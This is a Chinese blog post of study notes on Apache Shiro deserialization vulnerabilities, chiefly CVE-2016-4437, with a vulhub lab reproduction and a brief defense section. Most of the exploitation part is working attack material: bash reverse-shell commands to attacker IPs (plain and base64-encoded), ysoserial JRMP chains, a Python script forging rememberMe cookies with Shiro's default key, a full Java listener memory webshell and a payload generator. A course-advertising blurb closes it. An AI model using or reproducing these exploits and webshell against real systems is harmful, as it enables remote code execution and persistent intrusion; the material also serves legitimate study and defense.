shiro反序列化漏洞学习(工具+原理+复现)

工具准备

1.java8 C:\Program Files\Java

2.冰蝎 C:\Users\ali\Desktop\tools\Behinder_v4.0.6

3.shiro反序列化 图形化工具

shiro attack2.2 C:\Users\ali\Desktop\tools\shiro_attack_2.2

4.shiro反序列化 命令行工具

C:\Users\ali\Desktop\tools\shiro_tool.jar

一.Shiro-550 CVE-2016-4437

序列化:

在Java中,把Java对象转换为字节序列(json/xml)的过程叫序列化。反过来,把字节序列(json/xml)恢复为Java对象的过程就叫反序列化。

Shiro反序列化:

Apache
Shiro框架提供了记住我的功能(RememberMe)省去用户短时间内再次登录输入账号密码的操作,用户登录成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过相关信息进行序列化,然后使用AES加密(对称),最后再使用Base64编码处理。服务端在接收cookie时:

检索RememberMe Cookie的值Base 64解码AES解密(加密密钥硬编码)进行反序列化操作(未过滤处理)

攻击者可以使用Shiro的默认密钥构造恶意序列化对象进行编码来伪造用户的Cookie,服务端反序列化时触发漏洞,从而执行命令。

特征:

登录页面有记住我,cookie字段有RememberMe key,返回包set-cookie有RememberMe key。

直接发送源数据包,返回的数据包中不存在关键字,可以通过在发送数据包的Cookie中增加字段rememberMe=deleteMe,然后查看返回包中是否存在关键字

![](https://img-
blog.csdnimg.cn/img_convert/041d3c28aee0d9ee3d6be881042cb9e7.png)

![](https://img-
blog.csdnimg.cn/img_convert/bb0650e15fc621c13f81ff86ef4f4a1a.png)

![](https://img-
blog.csdnimg.cn/img_convert/148c2cbb1c8def77e330bd25cc1d3b60.png)

另外需要注意的是:只要rememberMe的AES加密密钥泄漏,无论shiro什么版本都会导致反序列化漏洞。

升级shiro版本后仍然存在反序列化漏洞,其原因是使用了开源框架,代码里配置了shiro密钥。关键代码可以在github上通过api
search接口搜索到,从而得到一个所谓的key包,即这些密钥的集合,用这些公开的密钥去轮流尝试,若用了开源的框架,而没有修改shiro的密钥,相当于shiro密钥已经泄露。

防御措施

  • 升级Shiro到最新版本(高于1.2.4)

  • WAF拦截Cookie中长度过大的rememberMe值

  • 代码审计,全局搜索 “setCipherKey(Base64.decode(” 关键字,或者"setCipherKey"方法,Base64.decode()中的字符串就是shiro的密钥,要确保该密钥的安全性,千万不要使用公开的密钥。

漏洞利用:

[https://github.com/feihong-cs/ShiroExploit](https://github.com/feihong-
cs/ShiroExploit) 这个已经

![](https://img-
blog.csdnimg.cn/img_convert/fd1e5023648da1ea5fd325180e9a1c81.png)

1.反弹shell

攻击者(Kali)执行以下操作(真实攻击场景需要在VPS上执行)

》》事先开启三个终端

![](https://img-
blog.csdnimg.cn/img_convert/041f42f2b2b4a24e2c684547f4e7c781.png)

》》nc在81端口上监听shell(终端 1)

![](https://img-
blog.csdnimg.cn/img_convert/6c910eb8cec39fdca0800ed0cd0d705b.png)

》》开启转发,监听19999端口(终端 2)

![](https://img-
blog.csdnimg.cn/img_convert/6795687dc59ead921e2b016ed4d61624.png)

bash -i >& /dev/tcp/192.168.159.128/81 0>&1 (执行的命令)
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvODEgMD4mMQ==}|{base64,-d}|{bash,-i} (对执行的命令进行Base64编码)
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 19999 CommonsCollections6 " bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1OS4xMjgvODEgMD4mMQ==}|{base64,-d}|{bash,-i}"
(ysoserial在19999端口监听,绿色的是编码后的执行命令)

》》生成payload(终端 3)

java -jar ysoserial.jar JRMPClient “192.168.159.128:19999” > /tmp/jrmp.ser

![](https://img-
blog.csdnimg.cn/img_convert/d83c483536beee977152985ac8d49392.png)

java -jar shiro-exp.jar encrypt /tmp/jrmp.ser

![](https://img-
blog.csdnimg.cn/img_convert/f656dd3c3838892c7dd12eb169bfee00.png)

》》将构造的序列化编码cookie通过登录包发送到服务端(这里必须登录成功状态下)

![](https://img-
blog.csdnimg.cn/img_convert/d1062435b293a668b2263f5aff2f3992.png)

(成功收到shell)

![](https://img-
blog.csdnimg.cn/img_convert/bca7f40c94f896ae1e2d3bad745405d7.png)

2.反弹shell

工具:

https://github.com/insightglacier/Shiro_exploit

使用示例:

python shiro_exploit.py -u http://192.168.172.129:8080

1、制作反弹shell代码

监听本地端口

nc -lvp 1234

用base64编码

生成编码:

bash -i >& /dev/tcp/192.168.172.133/1234 0>&1bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

2、通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666
CommonsCollections4 ‘bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3Mi4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}’

3、使用shiro.py 生成Payload

python shiro.py 192.168.172.133:6666

![](https://img-
blog.csdnimg.cn/img_convert/107eb393c6e3a79ee4ac8d19d0d4a90d.png)

shiro.py代码如下:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])   
print "rememberMe={0}".format(payload.decode())

4、构造数据包,伪造cookie,发送Payload。

![](https://img-
blog.csdnimg.cn/img_convert/f274d7f1ef102a161f968e8af7926e39.png)

nc监听端口,shell成功反弹:

![](https://img-
blog.csdnimg.cn/img_convert/9e49d6ee1ac0c0b9c03a25d956dd5f01.png)

java监听接口,查看服务器连接情况:

3.写入文件

1、生成poc.ser文件

sudo java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 “touch
/tmp/success” > poc.ser

2、使用Shiro内置的默认密钥对Payload进行加密:

java调试:

![](https://img-
blog.csdnimg.cn/img_convert/9b22ed4ee814e93452d83114f07cda7e.png)

3、发送rememberMe Cookie,即可成功执行命令。

![](https://img-
blog.csdnimg.cn/img_convert/c7af9d1e1dd3cb2eb38a5e7ec557d148.png)

在目标服务器/tmp目录下,生成success文件。

![](https://img-
blog.csdnimg.cn/img_convert/03a21c4fa7deb790bd746e3eac48403f.png)

其他shiro漏洞

二、Shiro Padding Oracle Attack(Shiro-721 CVE-2019-12422)

2.1 漏洞简介

Shiro实用AES-CBC模式进行加解密,存在Padding Oracle Attack漏洞,已登录的攻击者同样可进行反序列化操作。

2.2 影响版本

Apache Shiro < 1.4.2

2.2 漏洞利用

可视化工具利用。

利用技巧:如果攻击没有生效,尝试删除Cookie中的Jsessionid字段,防止服务端不去处理cookie

三、Shiro权限绕过漏洞(Shiro-682 CVE-2020-1957)

3.1 漏洞介绍

由于Shiro的拦截器和Spring(Servlet)拦截器对于URI模式匹配的差异,导致鉴权问题。

3.2 影响版本

Apache Shiro < 1.5.2

3.3 漏洞利用

可视化工具利用。

四、官方CVE动态

http://shiro.apache.org/

Apache Shiro反序列化漏洞分为两种:Shiro-550、Shiro-721

待学习

五、参考文章

https://blog.csdn.net/weixin_43695820/article/details/123823848

5.1 shiro反序列化的注意事项

由于shiro反序列化需要用到AES加密,而该加密方法的密钥是加解密一致的,所以我们使用shiro反序列化时,AES加密的密钥必须跟服务器一致,所以经常需要盲猜服务器的密钥,好在java开发们一般都不会去修改它,而且常常直接copy论坛和github上的代码,所以可以大量收集各种密钥,然后遍历来完成反序列化漏洞利用。

好在也有很多可以直接上手用的扫描或利用工具,例如xray、[https://github.com/feihong-
cs/ShiroExploit-
Deprecated、https://github.com/sv3nbeast/ShiroScan、https://github.com/j1anFen/shiro_attack](https://github.com/feihong-
cs/ShiroExploit-
Deprecated%E3%80%81https://github.com/sv3nbeast/ShiroScan%E3%80%81https://github.com/j1anFen/shiro_attack)

5.2 shiro反序列化利用–注入内存马

由于shiro作用于中间件的filter环节,所以servlet内存马在访问阶段就被shiro干掉了,不能用。因此必须写入filter内存马,并将其放在shiro的filter前面,以便访问和利用;另外,也可以写入listener内存马,不需要操心filter顺序问题,但可能会影响服务器性能。

这里以listener内存马实验一下,首先是listener内存马部分,编译的话,需要添加tomcat/lib目录下的jar包

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardEngine;
import org.apache.catalina.core.StandardHost;
import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Iterator;
 
public class Add extends AbstractTranslet implements ServletRequestListener {
    String uri;
    String serverName;
    StandardContext standardContext;
    String pwd = "cmdshell";   // 内存马的密码
    
    public Object getField(Object object, String fieldName) {
        Field declaredField;
        Class clazz = object.getClass();
        while (clazz != Object.class) {
            try {
 
                declaredField = clazz.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(object);
            } catch (NoSuchFieldException e){}
            catch (IllegalAccessException e){}
            clazz = clazz.getSuperclass();
        }
        return null;
    }
 
    public Add(String aaa){}
 
    public Add() {
 
        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        Object object;
        for (Thread thread : threads) {
 
            if (thread == null) {
                continue;
            }
            if (thread.getName().contains("exec")) {
                continue;
            }
            Object target = this.getField(thread, "target");
            if (!(target instanceof Runnable)) {
                continue;
            }
 
            try {
                object = getField(getField(getField(target, "this$0"), "handler"), "global");
            } catch (Exception e) {
                continue;
            }
 
            if (object == null) {
                continue;
            }
 
            java.util.ArrayList processors = (java.util.ArrayList) getField(object, "processors");
            Iterator iterator = processors.iterator();
            while (iterator.hasNext()) {
                Object next = iterator.next();
 
                Object req = getField(next, "req");
                Object serverPort = getField(req, "serverPort");
                if (serverPort.equals(-1)){continue;}
                org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                this.serverName = (String) getField(serverNameMB, "strValue");
                if (this.serverName == null){
                    this.serverName = serverNameMB.toString();
                }
                if (this.serverName == null){
                    this.serverName = serverNameMB.getString();
                }
 
                org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "uriMB");
                this.uri = (String) getField(uriMB, "strValue");
                if (this.uri == null){
                    this.uri = uriMB.toString();
                }
                if (this.uri == null){
                    this.uri = uriMB.getString();
                }
 
                this.getStandardContext();
            }
        }
 
        if (this.standardContext != null){
            try {
                Add addListener = new Add("aaa");
                standardContext.addApplicationEventListener(addListener);
            }catch (Exception e){e.printStackTrace();}
        }
    }
 
 
 
    public void getStandardContext() {
        Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            if (thread == null) {
                continue;
            }
            if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
 
                Object target = this.getField(thread, "target");
                HashMap children;
                Object jioEndPoint = null;
                try {
                    jioEndPoint = getField(target, "this$0");
                }catch (Exception e){}
                if (jioEndPoint == null){
                    try{
                        jioEndPoint = getField(target, "endpoint");
                    }catch (Exception e){ return; }
                }
                Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");
                StandardEngine engine = null;
                try {
                    engine = (StandardEngine) getField(service, "container");
                }catch (Exception e){}
                if (engine == null){
                    engine = (StandardEngine) getField(service, "engine");
                }
 
                children = (HashMap) getField(engine, "children");
                StandardHost standardHost;
                standardHost = (StandardHost) children.get(this.serverName);
                if(standardHost == null){
                    Iterator iterator = children.values().iterator();
                    while (iterator.hasNext()){
                        standardHost = (StandardHost) iterator.next();
                        if (standardHost.getName().equals(this.serverName)){
                            break;
                        }
                        if (standardHost.getName().equals("localhost")) {
                            break;
                        }
                    }
                }
                try{
                    children = (HashMap) getField(standardHost, "children");
 
                    Iterator iterator = children.keySet().iterator();
                    while (iterator.hasNext()){
                        String contextKey = (String) iterator.next();
                        if (!(this.uri.startsWith(contextKey))){continue;}
                        StandardContext standardContext = (StandardContext) children.get(contextKey);
                        this.standardContext = standardContext;
                    }
                }catch (Exception e){
                    e.printStackTrace();
                }
            }
        }
    }
 
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
 
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
 
    public void Add(String aaa){}
 
 
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
 
    }
 
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        String cmdshell = sre.getServletRequest().getParameter(this.pwd);
        if (cmdshell != null) {
            try {
                Runtime.getRuntime().exec(cmdshell);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
}

然后是构造shiro反序列化利用payload的部分

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import net.dongliu.commons.Sys;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
 
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import java.util.Collections;
 
public class CommonsBeanutilsShiro {
    // 反射修改field,统一写成函数,方便阅读代码
    public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
        Field field = object.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(object, value);
    }
 
    // 获取攻击链序列化后的byte数组
    public static byte[] getPayload() throws Exception {
 
        // 创建恶意类,用于报错抛出调用链
 
        ClassPool pool = new ClassPool(true);
        pool.appendClassPath("C:\\Users\\helloworld\\Desktop\\java learn\\spring_mvc\\spring_mvc\\spring_mvc\\target\\classes\\");  // 前面Add类编译出来的Add.class的路径
 
        CtClass payload = pool.get("Add");
 
 
        byte[] evilClass = payload.toBytecode();
 
        // set field
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
        setFieldValue(templates, "_name", "test");
        setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
 
        // 创建序列化对象
//        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        BeanComparator beanComparator = new BeanComparator(null, Collections.reverseOrder());
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
        queue.add("1");
        queue.add("1");
 
        // 修改值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});
 
        // 反序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream out1 = new ObjectOutputStream(byteArrayOutputStream);
        out1.writeObject(queue);
        out1.close();
        return byteArrayOutputStream.toByteArray();
    }
 
    public static void main(String[] args) throws Exception {
        byte[] payloads = CommonsBeanutilsShiro.getPayload();
 
        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        // 为shiro 1.2.4默认密钥,详情见AbstractRememberMeManager类的DEFAULT_CIPHER_KEY_BYTES属性
        ByteSource ciphertext = aes.encrypt(payloads, key);
        // 由于继承关系,encrypt实际调用的是JcaCipherService#encrypt
        // 跟进代码后发现实际返回的是ByteSource接口的实现类——SimpleByteSource类,其toString方法会自动对byte数组进行base64编码
        System.out.printf(ciphertext.toString());
    }
}

执行CommonsBeanutilsShiro#main方法,获得payload,用burp发包,这里都比较简单就不截图了,来看看效果:

在/shirodemo/这个uri下,输入任意路径,加参数cmdshell,即可执行命令,由于shiro的作用,执行后又会自动跳到登录页面

![](https://img-
blog.csdnimg.cn/img_convert/81f569ff16ae08855cecf1addb650380.png)

六、漏洞复现

打开vulhub docker

6.1漏洞介绍:

shiro/CVE-2016-4437/README.md

# Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)

Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

## 漏洞环境

执行如下命令启动一个使用了Apache Shiro 1.2.4的Web服务:

```
docker-compose up -d
```

服务启动后,访问`http://your-ip:8080`可使用`admin:vulhub`进行登录。

## 漏洞复现

使用ysoserial生成CommonsBeanutils1的Gadget:

```
java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
```

使用Shiro内置的默认密钥对Payload进行加密:

```java
package org.vulhub.shirodemo;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

```

发送rememberMe Cookie,即可成功执行`touch /tmp/success`:
如下图:

![](https://img-
blog.csdnimg.cn/img_convert/723546652f60b0f945c0a4d65893296e.png)


6.2实际操作:

拉下来

![](https://img-
blog.csdnimg.cn/img_convert/bf4e2c7b097719c309507c93f22ddaf0.png)

![](https://img-
blog.csdnimg.cn/img_convert/65fcb6bc9dc8960df20a9c8a83c608b2.png)

使用admin : vulhub进行登录。

可以直接看到,有这个remember me

![](https://img-
blog.csdnimg.cn/img_convert/7b51c5b0df180517abf8687dd8c43b4f.png)

![](https://img-
blog.csdnimg.cn/img_convert/ffd36c52481a23f36bdb4d1ee75ff6f5.png)

这里会发送cookie

下载

ysoserial-master-30099844c6-1.jar

[https://github.com/daniel-e/data/blob/master/ysoserial-
master-30099844c6-1.jar](https://github.com/daniel-e/data/blob/master/ysoserial-
master-30099844c6-1.jar)

在这里下载的

放到 E:\000CTF工具\shiro工具汇总\ysoserial-master-30099844c6-1.jar

直接运行:java -jar ysoserial-master-30099844c6-1.jar CommonsBeanutils1 “touch
/tmp/success” > poc.ser

![](https://img-
blog.csdnimg.cn/img_convert/4442b7a42c4eae57f21b04a972af7b36.png)

去虚拟机里面

![](https://img-
blog.csdnimg.cn/img_convert/b8151dcb8c497782510132fc508da579.png)

成功生成poc.cer

下一步,正常应该是用shiro的加密方式把我们的poc.cer加密,但是idea出了些问题,搁置。看了下代码,就是把key给base64解密一下,然后对payloads做了AES加密。

package org.vulhub.shirodemo;

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.util.ByteSource;
import org.apache.shiro.codec.Base64;
import org.apache.shiro.io.DefaultSerializer;

import java.nio.file.FileSystems;
import java.nio.file.Files;
import java.nio.file.Paths;

public class TestRemember {
    public static void main(String[] args) throws Exception {
        byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("/path", "to", "poc.ser"));

        AesCipherService aes = new AesCipherService();
        byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

另外可以注意到line18,这个密钥直接设定成了 kPH+bIxk5D2deZiIxcaaaA==

实际上不止这个密钥,可参考工具提供的字典:win10:C:\Users\ali\Desktop\tools\shiro_attack_2.2\data\shiro_keys.txt

目前是搜集了128个。

win10连不上kali,桥接改NAT,ip:192.168.244.88

![](https://img-
blog.csdnimg.cn/img_convert/bdb7227740415cc6a37c28b8235c2d85.png)

用shiro图形化工具:

![](https://img-
blog.csdnimg.cn/img_convert/e4e764c736feefe8ac68088f20e47646.png)

不知道为何不爆破

http://192.168.244.138:8080/login

重启了工具就好了:

![](https://img-
blog.csdnimg.cn/img_convert/9a3df0beb40860cf82fb748ebb6df060.png)

![](https://img-
blog.csdnimg.cn/img_convert/54a2b7808d68a33e56126805c005c524.png)

对这个命令执行:

![](https://img-
blog.csdnimg.cn/img_convert/ec269de8845b855515043bec0a18f9fb.png)

touch 1.txt 或者cat /etc/passwd 可以执行

![](https://img-
blog.csdnimg.cn/img_convert/3ee9ef0531399c82ffafb3ea65655cee.png)

但是执行 cd /bin 然后再pwd 依然在根目录下。

我的问题

最后:

题外话

初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:

2023届全国高校毕业生预计达到1158万人,就业形势严峻;

国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。

一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。

6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。

2022届大学毕业生月收入较高的前10个专业

本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。

具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。

“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。

网络安全行业特点

1、就业薪资非常高,涨薪快 2022年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!

img

2、人才缺口大,就业机会多

2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
img

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

行业发展空间大,岗位非常多

网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…

职业增值潜力大

网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。

随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。

从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。

黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

img

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

如果你对网络安全入门感兴趣,那么你需要的话可以点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

  • 30
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值